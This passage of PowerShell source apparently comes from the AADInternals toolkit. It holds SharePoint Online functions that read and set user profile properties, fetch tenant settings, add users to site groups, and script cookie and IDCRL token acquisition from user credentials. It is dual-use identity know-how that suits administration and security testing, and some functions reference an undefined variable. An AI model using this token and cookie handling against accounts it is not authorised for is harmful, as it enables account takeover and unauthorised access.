}
|
||||
}
|
||||
}
|
||||
|
||||
# Jun 10th 2020
|
||||
function Get-SPOSiteUserProperties
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets the SPO user properties
|
||||
|
||||
.DESCRIPTION
|
||||
Gets the SPO user properties
|
||||
|
||||
.Parameter Site
|
||||
Url of the SharePoint site
|
||||
|
||||
.Parameter AuthHeader
|
||||
SharePoint Online authentication header
|
||||
|
||||
.Parameter AccessToken
|
||||
SharePoint Online Access Token
|
||||
|
||||
.Example
|
||||
PS C:\>$auth=Get-AADIntSPOAuthenticationHeader -Site https://company.sharepoint.com
|
||||
PS C:\>Get-AADIntSPOSiteGroups -Site https://company.sharepoint.com/sales -AuthHeader $auth
|
||||
|
||||
.Example
|
||||
PS C:\>$at=Get-AADIntAccessTokenForSPO
|
||||
PS C:\>Get-AADIntSPOSiteGroups -Site https://company.sharepoint.com/sales -AccessToken $at
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Site,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$UserName,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AuthHeader,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Check the site url
|
||||
if($Site.EndsWith("/"))
|
||||
{
|
||||
$Site=$Site.Substring(0,$Site.Length-1)
|
||||
}
|
||||
|
||||
$siteDomain=$Site.Split("/")[2]
|
||||
|
||||
# Check the username format
|
||||
if(!$UserName.StartsWith("i"))
|
||||
{
|
||||
$UserName="i:0%23.f|membership|$UserName"
|
||||
}
|
||||
|
||||
if(![string]::IsNullOrEmpty($AuthHeader))
|
||||
{
|
||||
# Create a WebSession object
|
||||
$siteSession = Create-WebSession -SetCookieHeader $AuthHeader -Domain $siteDomain
|
||||
}
|
||||
else
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://$Tenant.sharepoint.com/" -ClientId "9bc3ab49-b65d-410a-85ad-de819febfddc"
|
||||
$headers=@{
|
||||
"Authorization" = "Bearer $AccessToken"
|
||||
}
|
||||
}
|
||||
|
||||
# Invoke the request
|
||||
$response=Invoke-WebRequest -UseBasicParsing -Uri "$Site/_api/SP.UserProfiles.PeopleManager/GetPropertiesFor(accountName=@v)?@v='$UserName'" -Method Get -WebSession $siteSession -ErrorAction SilentlyContinue -Headers $headers
|
||||
|
||||
if($response.StatusCode -eq 200)
|
||||
{
|
||||
# Get the response
|
||||
[xml]$response=$response.Content
|
||||
|
||||
# Create the attributes varialbe
|
||||
$attributes=@{}
|
||||
|
||||
# Loop through the elements
|
||||
foreach($element in $response.entry.content.properties.UserProfileProperties.element)
|
||||
{
|
||||
$key=$element.Key
|
||||
$value=$element.Value
|
||||
|
||||
$attributes[$key] = $value
|
||||
}
|
||||
|
||||
# Sort by the key
|
||||
$attributes_sorted=[ordered]@{}
|
||||
$entries = $attributes.GetEnumerator() | sort Key
|
||||
foreach($entry in $entries)
|
||||
{
|
||||
$attributes_sorted[$entry.Name]=$entry.Value
|
||||
}
|
||||
|
||||
# Return
|
||||
return New-Object psobject -Property $attributes_sorted
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Jun 10th 2020
|
||||
function Set-SPOSiteUserProperty
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Sets the SPO user property
|
||||
|
||||
.DESCRIPTION
|
||||
Sets the SPO user property
|
||||
|
||||
.Parameter Site
|
||||
Url of the SharePoint site
|
||||
|
||||
.Parameter AuthHeader
|
||||
SharePoint Online authentication header
|
||||
|
||||
.Parameter AccessToken
|
||||
SharePoint Online Access Token
|
||||
|
||||
.Parameter Property
|
||||
Property name
|
||||
|
||||
.Parameter Value
|
||||
Property value
|
||||
|
||||
.Example
|
||||
PS C:\>$auth=Get-AADIntSPOAuthenticationHeader -Site https://company.sharepoint.com
|
||||
PS C:\>Set-AADIntSPOUserProperty -Site https://company.sharepoint.com/sales -AuthHeader $auth -UserName user@company.com -Property "AboutMe" -Value "I'm a happy SPO user!"
|
||||
|
||||
.Example
|
||||
PS C:\>$at=Get-AADIntAccessTokenForSPO
|
||||
PS C:\>Set-AADIntSPOUserProperty -Site https://company.sharepoint.com/sales -AccessToken $at -UserName user@company.com -Property "AboutMe" -Value "I'm a happy SPO user!"
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Site,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$UserName,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AuthHeader,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Property,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$Value
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get the digest
|
||||
#$digest = Get-SPODigest -AccessToken $AccessToken -Cookie $Cookie -Site $Site
|
||||
# Set the headers
|
||||
$headers=@{
|
||||
# "X-RequestDigest" = $digest
|
||||
}
|
||||
|
||||
# Check the site url
|
||||
if($Site.EndsWith("/"))
|
||||
{
|
||||
$Site=$Site.Substring(0,$Site.Length-1)
|
||||
}
|
||||
|
||||
$siteDomain=$Site.Split("/")[2]
|
||||
|
||||
# Check the username format
|
||||
if(!$UserName.StartsWith("i"))
|
||||
{
|
||||
$UserName="i:0#.f|membership|$UserName"
|
||||
}
|
||||
|
||||
if(![string]::IsNullOrEmpty($AuthHeader))
|
||||
{
|
||||
# Create a WebSession object
|
||||
$siteSession = Create-WebSession -SetCookieHeader $AuthHeader -Domain $siteDomain
|
||||
}
|
||||
else
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://$Tenant.sharepoint.com/" -ClientId "9bc3ab49-b65d-410a-85ad-de819febfddc"
|
||||
$headers["Authorization"] = "Bearer $AccessToken"
|
||||
}
|
||||
|
||||
# Create the body
|
||||
$body=@{
|
||||
"accountName" = "$UserName"
|
||||
"propertyName" = $Property
|
||||
"propertyValue" = $Value
|
||||
}
|
||||
|
||||
# Invoke the request
|
||||
$response=Invoke-WebRequest -UseBasicParsing -Uri "$Site/_api/SP.UserProfiles.PeopleManager/SetSingleValueProfileProperty" -Method Post -WebSession $siteSession -ErrorAction SilentlyContinue -Headers $headers -ContentType "application/json" -Body ($body | ConvertTo-Json)
|
||||
|
||||
if($response.StatusCode -eq 200)
|
||||
{
|
||||
# All good, nothing to return :)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function Get-SPOSettings
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets SharePoint Online settings
|
||||
|
||||
.DESCRIPTION
|
||||
Gets SharePoint Online settings
|
||||
|
||||
.Parameter AccessToken
|
||||
SharePoint Online Access Token
|
||||
|
||||
.Parameter Tenant
|
||||
The tenant name of the organization, ie. company.onmicrosoft.com -> "company"
|
||||
|
||||
.Example
|
||||
PS C:\>Get-AADIntAccessTokenForSPO -Admin -SaveToCache -Tenant company
|
||||
PS C:\>Get-AADIntSPOSettings -Tenant Company
|
||||
|
||||
_ObjectType_ : Microsoft.Online.SharePoint.TenantAdministration.Tenant
|
||||
_ObjectIdentity_ : 4b09819f-80c3-b000-9cfe-8c850fbea6d5|908bed80-a04a-4433-b4a0-883d9847d110:908c17b8-5ebe-450c-9073-15e52aa1739b
|
||||
Tenant
|
||||
AIBuilderEnabled : False
|
||||
AIBuilderSiteInfoList : {}
|
||||
AIBuilderSiteList : {}
|
||||
AIBuilderSiteListFileName :
|
||||
AllowCommentsTextOnEmailEnabled : True
|
||||
AllowDownloadingNonWebViewableFiles : True
|
||||
AllowedDomainListForSyncClient : {}
|
||||
AllowEditing : True
|
||||
AllowGuestUserShareToUsersNotInSiteCollection : False
|
||||
AllowLimitedAccessOnUnmanagedDevices : False
|
||||
AllowSelectSGsInODBListInTenant :
|
||||
AnyoneLinkTrackUsers : False
|
||||
ApplyAppEnforcedRestrictionsToAdHocRecipients : True
|
||||
BccExternalSharingInvitations : False
|
||||
...
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Tenant
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://$Tenant-admin.sharepoint.com/" -ClientId "9bc3ab49-b65d-410a-85ad-de819febfddc"
|
||||
|
||||
$body=@"
|
||||
<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName="Javascript Library">
|
||||
<Actions>
|
||||
<ObjectPath Id="1" ObjectPathId="0" />
|
||||
<Query Id="2" ObjectPathId="0">
|
||||
<Query SelectAllProperties="true">
|
||||
<Properties />
|
||||
</Query>
|
||||
</Query>
|
||||
</Actions>
|
||||
<ObjectPaths>
|
||||
<Constructor Id="0" TypeId="{268004ae-ef6b-4e9b-8425-127220d84719}" />
|
||||
</ObjectPaths>
|
||||
</Request>
|
||||
"@
|
||||
$headers=@{
|
||||
"Authorization" = "Bearer $AccessToken"
|
||||
}
|
||||
|
||||
|
||||
# Invoke the request
|
||||
$response=Invoke-RestMethod -UseBasicParsing -Uri "https://$Tenant-admin.sharepoint.com/_vti_bin/client.svc/ProcessQuery" -Method Post -Body $body -Headers $headers
|
||||
|
||||
if($response.count -gt 4)
|
||||
{
|
||||
$response[4]
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Oct 1st 2022 by Sapir Fed
|
||||
function Set-SPOSiteMembers
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Add a member into a site (also adding the member to the correlated Azure AD group)
|
||||
|
||||
.DESCRIPTION
|
||||
Add a member into a site (also adding the member to the correlated AzureAD group)
|
||||
|
||||
.Parameter Site
|
||||
Url of the SharePoint site
|
||||
|
||||
.Parameter AuthHeader
|
||||
SharePoint Online authentication header
|
||||
|
||||
.Parameter SiteName
|
||||
Name of the specific site on SharePoint
|
||||
|
||||
.Parameter UserPrincipalName
|
||||
UserPrincipalName of the AzureAD user you wish to add to the site
|
||||
|
||||
.Example
|
||||
PS C:\>$auth=Get-AADIntSPOAuthenticationHeader -Site https://company.sharepoint.com
|
||||
PS C:\>Set-AADIntSPOSiteMembers -Site https://company.sharepoint.com -AuthHeader $auth -SiteName CompanyWiki -UserPrincipalName user@company.com
|
||||
|
||||
User user@company.com was added to group CompanyWiki!
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Site,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$AuthHeader,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$SiteName,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$UserPrincipalName
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Check the site url
|
||||
if($Site.EndsWith("/"))
|
||||
{
|
||||
$Site=$Site.Substring(0,$Site.Length-1)
|
||||
}
|
||||
$siteDomain=$Site.Split("/")[2]
|
||||
|
||||
# Create a WebSession object
|
||||
$siteSession = Create-WebSession -SetCookieHeader $AuthHeader -Domain $siteDomain
|
||||
|
||||
# Invoke the request tp get groupId and digest
|
||||
$response=Invoke-WebRequest -UseBasicParsing -Uri "$($Site)/sites/$($siteName)?sw=auth" -Method GET -WebSession $siteSession -ErrorAction SilentlyContinue -Headers $headers
|
||||
|
||||
# Validate response
|
||||
$baseContent = $response.BaseResponse
|
||||
if($baseContent.StatusCode -eq "OK" -and $baseContent.ResponseUri -eq "$($Site)/sites/$($siteName)?sw=auth")
|
||||
{
|
||||
$requestContent = $response.Content
|
||||
|
||||
# Parse digest
|
||||
$tempValue = $requestContent -match 'formDigestValue":"(.*?")'
|
||||
$digestTemp = $Matches[1]
|
||||
$digest = $digestTemp.Split('"')[0]
|
||||
$newheaders=@{
|
||||
"X-RequestDigest" = $digest
|
||||
}
|
||||
|
||||
# Parse groupId
|
||||
$tempValue = $requestContent -match 'groupId":"(.*?")'
|
||||
$groupidTemp = $Matches[1]
|
||||
$groupid = $groupidTemp.Split('"')[0]
|
||||
|
||||
# Invoke the request to add a member to the SharePoint site
|
||||
$newresponse=Invoke-WebRequest -UseBasicParsing -Uri "$($Site)/sites/$($siteName)/_api/SP.Directory.DirectorySession/Group('$($groupid)')/Members/Add(objectId='00000000-0000-0000-0000-000000000000', principalName='$($UserPrincipalName)')" -Method POST -WebSession $siteSession -ErrorAction SilentlyContinue -Headers $newheaders -ContentType "application/json"
|
||||
|
||||
# Validate response
|
||||
if($newresponse.StatusCode -eq 201 -and $newresponse.StatusDescription -eq "Created")
|
||||
{
|
||||
Write-Host "User $($UserPrincipalName) was added to group $($siteName)!"
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Error "Cannot Add user to the group."
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Error "An error occurred while executing the request to the site."
|
||||
}
|
||||
}
|
||||
}
|
||||
+499
@@ -0,0 +1,499 @@
|
||||
# Utility functions for SharePoint Online
|
||||
|
||||
# Gets the authentication cookie for SPO web interface
|
||||
# Supports MFA, federation, etc.
|
||||
# Jul 17th 2019
|
||||
function Get-SPOAuthenticationHeader
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets authentication header for SharePoint Online
|
||||
|
||||
.DESCRIPTION
|
||||
Gets authentication header for SharePoint Online, which is used for example to retrieve site users.
|
||||
|
||||
.Parameter Site
|
||||
Url for the SharePoint Online
|
||||
|
||||
.Example
|
||||
Get-AADIntSPOAuthenticationHeader
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Site
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Check the site url
|
||||
if($Site.EndsWith("/"))
|
||||
{
|
||||
$Site=$Site.Substring(0,$Site.Length-1)
|
||||
}
|
||||
|
||||
$siteDomain=$Site.Split("/")[2]
|
||||
|
||||
$headers=@{
|
||||
"User-Agent"="Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
|
||||
"Upgrade-Insecure-Requests" = "1"
|
||||
"Accept-Encoding" = "gzip, deflate, br"
|
||||
"Accept-Language" = "en-US,en;q=0.9"
|
||||
"Accept" = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3"
|
||||
|
||||
}
|
||||
|
||||
# Step 1: Go to the requested site
|
||||
$response = Invoke-WebRequest -UseBasicParsing -uri $Site -MaximumRedirection 0 -ErrorAction SilentlyContinue
|
||||
|
||||
# Step 2: Go to "/_layouts/15/Authenticate.aspx?Source=%2F"
|
||||
$url = $response.Headers.'Location'
|
||||
$response = Invoke-WebRequest -UseBasicParsing -uri $url -MaximumRedirection 0 -ErrorAction SilentlyContinue
|
||||
$siteWebSession = Create-WebSession -SetCookieHeader $response.Headers.'Set-Cookie' -Domain $siteDomain
|
||||
|
||||
# Step 3: Go to "/_forms/default.aspx?ReturnUrl=%2f_layouts%2f15%2fAuthenticate.aspx%3fSource%3d%252F&Source=cookie"
|
||||
$html=$response.Content
|
||||
$s=$html.IndexOf('href="')+6
|
||||
$e=$html.IndexOf('"',$s)
|
||||
$url=$html.Substring($s,$e-$s)
|
||||
$url="https://$siteDomain/$url"
|
||||
$response = Invoke-WebRequest -UseBasicParsing -uri $url -MaximumRedirection 0 -ErrorAction SilentlyContinue -WebSession $siteWebSession
|
||||
|
||||
# Create the cookie header for the login form
|
||||
$cookieHeaderValue=""
|
||||
$cookies = $response.Headers.'Set-Cookie'.Split(";,")
|
||||
foreach($cookie in $cookies)
|
||||
{
|
||||
|
||||
$name = $cookie.Split("=")[0].trim()
|
||||
$value = $cookie.Substring($name.Length+1)
|
||||
|
||||
if($name.StartsWith("nSGt") -or $name -eq "RpsContextCookie")
|
||||
{
|
||||
# If not empty, append the separator
|
||||
if(![String]::IsNullOrEmpty($cookieHeaderValue))
|
||||
{
|
||||
$cookieHeaderValue+="; "
|
||||
}
|
||||
|
||||
$cookieHeaderValue+="$name=$value"
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Set variables
|
||||
$auth_redirect="foobar"#"https://login.microsoftonline.com/common/federation/oauth2"#"https://login.microsoftonline.com/kmsi"
|
||||
$url=$response.Headers.Location
|
||||
|
||||
# Create the form
|
||||
$form = Create-LoginForm -Url $url -auth_redirect $auth_redirect -Headers "Cookie: $cookieHeaderValue"
|
||||
|
||||
# Show the form and wait for the return value
|
||||
if($form.ShowDialog() -ne "OK") {
|
||||
# Dispose the control
|
||||
$form.Controls[0].Dispose()
|
||||
Write-Verbose "Login cancelled"
|
||||
return $null
|
||||
}
|
||||
|
||||
# Extract the needed parameters
|
||||
$htmlform=$form.Controls[0].Document.Forms[0].InnerHtml
|
||||
$htmlform=$htmlform.Replace('">','"/>')
|
||||
[xml]$xmlform="<html>$htmlform</html>"
|
||||
|
||||
$code = $xmlform.SelectSingleNode("//input[@name='code']").value
|
||||
$session_state = $xmlform.SelectSingleNode("//input[@name='session_state']").value
|
||||
$id_token = $xmlform.SelectSingleNode("//input[@name='id_token']").value
|
||||
$correlation_id = $xmlform.SelectSingleNode("//input[@name='correlation_id']").value
|
||||
$url=$form.Controls[0].Document.Forms[0].DomElement.action
|
||||
|
||||
# Dispose the control
|
||||
$form.Controls[0].Dispose()
|
||||
|
||||
# Create the body and get the cookie
|
||||
$body=@{
|
||||
"code" = $code
|
||||
"session_state" = $session_state
|
||||
"id_token" = $id_token
|
||||
"correlation_id" = $correlation_id
|
||||
}
|
||||
$response = Invoke-WebRequest -UseBasicParsing -Uri $url -Method Post -Body $body -MaximumRedirection 0 -ErrorAction SilentlyContinue -WebSession $siteWebSession
|
||||
|
||||
|
||||
|
||||
# Extract the cookies
|
||||
$cookieHeader = $response.Headers.'Set-Cookie'
|
||||
$cookieHeaderValue=""
|
||||
|
||||
# Clean up the Set-Cookie header
|
||||
$cookies = $cookieHeader.Split(";,")
|
||||
foreach($cookie in $cookies)
|
||||
{
|
||||
|
||||
$name = $cookie.Split("=")[0].trim()
|
||||
$value = $cookie.Substring($name.Length+1)
|
||||
|
||||
if($name -eq "rtFA" -or $name -eq "FedAuth" -or $name -eq "RpsContextCookie")
|
||||
{
|
||||
# If not empty, append the separator
|
||||
if(![String]::IsNullOrEmpty($cookieHeaderValue))
|
||||
{
|
||||
$cookieHeaderValue+="|"
|
||||
}
|
||||
|
||||
$cookieHeaderValue+="$name=$value"
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Return
|
||||
return $cookieHeaderValue
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Creates a list from xml collection
|
||||
function Create-ListFromCollection
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
$Collection
|
||||
)
|
||||
Process
|
||||
{
|
||||
if($Collection -ne $null)
|
||||
{
|
||||
$list=@()
|
||||
foreach($element in $Collection.element)
|
||||
{
|
||||
$list+=$element
|
||||
}
|
||||
return $list
|
||||
}
|
||||
else
|
||||
{
|
||||
return $null
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
function Get-IDCRLToken
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[System.Management.Automation.PSCredential]$Credentials
|
||||
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get the authentication realm info
|
||||
$realmInfo = Get-UserRealmV2 -UserName $Credentials.UserName
|
||||
|
||||
# Create the date strings
|
||||
$now=Get-Date
|
||||
$created = $now.ToUniversalTime().ToString("o")
|
||||
$expires = $now.AddDays(1).ToUniversalTime().ToString("o")
|
||||
|
||||
# Check the realm type. If federated, we must first get the SAML token
|
||||
if($realmInfo.NameSpaceType -eq "Federated")
|
||||
{
|
||||
$url = $realmInfo.STSAuthURL
|
||||
|
||||
# Create the body
|
||||
$body=@"
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion" xmlns:wsp="http://schemas.xmlsoap.org/ws/2004/09/policy" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:wssc="http://schemas.xmlsoap.org/ws/2005/02/sc" xmlns:wst="http://schemas.xmlsoap.org/ws/2005/02/trust">
|
||||
<s:Header>
|
||||
<wsa:Action s:mustUnderstand="1">http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue</wsa:Action>
|
||||
<wsa:To s:mustUnderstand="1">$url</wsa:To>
|
||||
<wsa:MessageID>$((New-Guid).ToString())</wsa:MessageID>
|
||||
<ps:AuthInfo xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" Id="PPAuthInfo">
|
||||
<ps:HostingApp>Managed IDCRL</ps:HostingApp>
|
||||
<ps:BinaryVersion>6</ps:BinaryVersion>
|
||||
<ps:UIVersion>1</ps:UIVersion>
|
||||
<ps:Cookies></ps:Cookies>
|
||||
<ps:RequestParams>AQAAAAIAAABsYwQAAAAxMDMz</ps:RequestParams>
|
||||
</ps:AuthInfo>
|
||||
<wsse:Security>
|
||||
<wsse:UsernameToken wsu:Id="user">
|
||||
<wsse:Username>$($Credentials.UserName)</wsse:Username>
|
||||
<wsse:Password>$($Credentials.GetNetworkCredential().Password)</wsse:Password>
|
||||
</wsse:UsernameToken>
|
||||
<wsu:Timestamp Id="Timestamp">
|
||||
<wsu:Created>$created</wsu:Created>
|
||||
<wsu:Expires>$expires</wsu:Expires>
|
||||
</wsu:Timestamp>
|
||||
</wsse:Security>
|
||||
</s:Header>
|
||||
<s:Body>
|
||||
<wst:RequestSecurityToken Id="RST0">
|
||||
<wst:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</wst:RequestType>
|
||||
<wsp:AppliesTo>
|
||||
<wsa:EndpointReference>
|
||||
<wsa:Address>urn:federation:MicrosoftOnline</wsa:Address>
|
||||
</wsa:EndpointReference>
|
||||
</wsp:AppliesTo>
|
||||
<wst:KeyType>http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey</wst:KeyType>
|
||||
</wst:RequestSecurityToken>
|
||||
</s:Body>
|
||||
</s:Envelope>
|
||||
|
||||
"@
|
||||
# Invoke the command to get the SAML token
|
||||
$response=Invoke-RestMethod -UseBasicParsing -Method Post -Uri $url -Body $body -ContentType "application/soap+xml; charset=utf-8" -Headers @{"User-Agent"=""}
|
||||
|
||||
$samlToken = $response.Envelope.Body.RequestSecurityTokenResponse.RequestedSecurityToken.InnerXml
|
||||
|
||||
# Oops, got an error?
|
||||
if([string]::IsNullOrEmpty($samlToken))
|
||||
{
|
||||
if($error -eq $response.Envelope.Body.Fault.Detail.error.internalerror.text)
|
||||
{
|
||||
Throw $error
|
||||
}
|
||||
}
|
||||
|
||||
# Create the security block
|
||||
$security="$samlToken"
|
||||
}
|
||||
else
|
||||
{
|
||||
# Create the security block
|
||||
$security=@"
|
||||
<wsse:UsernameToken wsu:Id="user">
|
||||
<wsse:Username>$($Credentials.UserName)</wsse:Username>
|
||||
<wsse:Password>$($Credentials.GetNetworkCredential().Password)</wsse:Password>
|
||||
</wsse:UsernameToken>
|
||||
<wsu:Timestamp Id="Timestamp">
|
||||
<wsu:Created>$created</wsu:Created>
|
||||
<wsu:Expires>$expires</wsu:Expires>
|
||||
</wsu:Timestamp>
|
||||
"@
|
||||
}
|
||||
|
||||
|
||||
$url = "https://login.microsoftonline.com/rst2.srf"
|
||||
|
||||
# Create the body
|
||||
$body=@"
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsp="http://schemas.xmlsoap.org/ws/2004/09/policy" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:wst="http://schemas.xmlsoap.org/ws/2005/02/trust">
|
||||
<S:Header>
|
||||
<wsa:Action S:mustUnderstand="1">http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue</wsa:Action>
|
||||
<wsa:To S:mustUnderstand="1">https://login.microsoftonline.com/rst2.srf</wsa:To>
|
||||
<ps:AuthInfo xmlns:ps="http://schemas.microsoft.com/LiveID/SoapServices/v1" Id="PPAuthInfo">
|
||||
<ps:BinaryVersion>5</ps:BinaryVersion>
|
||||
<ps:HostingApp>Managed IDCRL</ps:HostingApp>
|
||||
</ps:AuthInfo>
|
||||
<wsse:Security>$security</wsse:Security>
|
||||
</S:Header>
|
||||
<S:Body>
|
||||
<wst:RequestSecurityToken xmlns:wst="http://schemas.xmlsoap.org/ws/2005/02/trust" Id="RST0">
|
||||
<wst:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</wst:RequestType>
|
||||
<wsp:AppliesTo>
|
||||
<wsa:EndpointReference>
|
||||
<wsa:Address>sharepoint.com</wsa:Address>
|
||||
</wsa:EndpointReference>
|
||||
</wsp:AppliesTo>
|
||||
<wsp:PolicyReference URI="MBI"></wsp:PolicyReference>
|
||||
</wst:RequestSecurityToken>
|
||||
</S:Body>
|
||||
</S:Envelope>
|
||||
"@
|
||||
|
||||
|
||||
# Invoke the command
|
||||
$response=Invoke-RestMethod -UseBasicParsing -Method Post -Uri $url -Body $body -ContentType "application/soap+xml; charset=utf-8" -Headers @{"User-Agent"=""}
|
||||
|
||||
# Extract the token
|
||||
$token = $response.Envelope.Body.RequestSecurityTokenResponse.RequestedSecurityToken.BinarySecurityToken.'#text'
|
||||
|
||||
# Ooops, got an error?
|
||||
if([string]::IsNullOrEmpty($token))
|
||||
{
|
||||
if($error -eq $response.Envelope.Body.Fault.Detail.error.internalerror.text)
|
||||
{
|
||||
Throw $error
|
||||
}
|
||||
}
|
||||
|
||||
# Return
|
||||
return $token.Replace("&","&")
|
||||
}
|
||||
}
|
||||
|
||||
function Get-IDCRLCookie
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$Token,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$Tenant
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Set the headers
|
||||
$headers=@{
|
||||
"Authorization" = "BPOSIDCRL $token"
|
||||
"X-IDCRL_ACCEPTED" = "t"
|
||||
"User-Agent" = ""
|
||||
}
|
||||
|
||||
# Invoke the API
|
||||
$response=Invoke-WebRequest -UseBasicParsing -Method Get "https://$Tenant-admin.sharepoint.com/_vti_bin/idcrl.svc/" -Headers $headers
|
||||
|
||||
# Extract the IDCRL cookie
|
||||
$cookie=$response.Headers.'Set-Cookie'
|
||||
$cookie = $cookie.split(";")[0]
|
||||
|
||||
# Return the cookie header
|
||||
return $cookie
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
function Get-SPODigest
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[string]$Cookie,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[string]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$Site
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Set the headers
|
||||
$headers=@{
|
||||
"Content-Type" = "text/xml"
|
||||
"X-RequestForceAuthentication" = "true"
|
||||
"X-FORMS_BASED_AUTH_ACCEPTED"= "f"
|
||||
"SOAPAction" = "http://schemas.microsoft.com/sharepoint/soap/GetUpdatedFormDigestInformation"
|
||||
"User-Agent" = ""
|
||||
"X-ClientService-ClientTag" = "TAPS (16.0.20122.0)"
|
||||
}
|
||||
|
||||
|
||||
$Body=@"
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
|
||||
<soap:Body>
|
||||
<GetUpdatedFormDigestInformation xmlns="http://schemas.microsoft.com/sharepoint/soap/" />
|
||||
</soap:Body>
|
||||
</soap:Envelope>
|
||||
"@
|
||||
# Parse the tenant part
|
||||
$tenant = $site.Split("/")[2].Split(".")[0]
|
||||
|
||||
if(![string]::IsNullOrEmpty($Cookie))
|
||||
{
|
||||
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
|
||||
$webCookie = New-Object System.Net.Cookie
|
||||
$webCookie.Name = $Cookie.Split("=")[0]
|
||||
$webCookie.Value = $Cookie.Substring($webCookie.Name.Length+1)
|
||||
$webCookie.Domain = "$tenant-admin.sharepoint.com"
|
||||
$session.Cookies.Add($webCookie)
|
||||
}
|
||||
else
|
||||
{
|
||||
# Get from cache if not provided
|
||||
